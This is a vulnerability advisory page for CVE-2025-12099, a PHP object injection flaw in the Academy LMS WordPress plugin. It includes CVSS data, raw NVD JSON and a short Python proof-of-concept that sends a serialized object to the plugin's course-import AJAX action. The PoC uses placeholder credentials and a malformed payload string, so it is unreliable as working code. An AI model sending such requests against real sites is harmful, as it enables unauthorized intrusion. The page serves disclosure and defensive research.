Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12099 CVSS 7.2 HIGH

CVE-2025-12099

Published: 2025-11-08 09:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.3.8 via deserialization of untrusted input in the 'import_all_courses' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Academy LMS WordPress Plugin < 3.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12099 PoC - Academy LMS PHP Object Injection # Target: WordPress site with Academy LMS plugin <= 3.3.8 # Required: Administrator-level access target_url = "http://target-wordpress-site.com" admin_cookie = "wordpress_admin_cookie_here" # Valid admin session cookie # Construct malicious payload for PHP Object Injection # Note: A POP chain from another plugin/theme is required for full exploitation malicious_object = 'O:14:"MaliciousClass":1:{s:4:"data";s:10:";}' # Endpoint for importing courses endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'academy_import_all_courses', 'import_data': malicious_object, # Malicious serialized object 'nonce': 'your_nonce_here' # Valid AJAX nonce } headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Send the exploit request response = requests.post(endpoint, data=data, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If POP chain exists, the injected object will trigger malicious actions # Common POP chain targets: file deletion, data exfiltration, RCE

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12099", "sourceIdentifier": "[email protected]", "published": "2025-11-08T09:15:34.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.3.8 via deserialization of untrusted input in the 'import_all_courses' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/academy/trunk/includes/ajax/course.php#L815", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3390420/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/294b2a7c-8b54-4022-a3af-9a3e3d1d4c11?source=cve", "source": "[email protected]"}]}}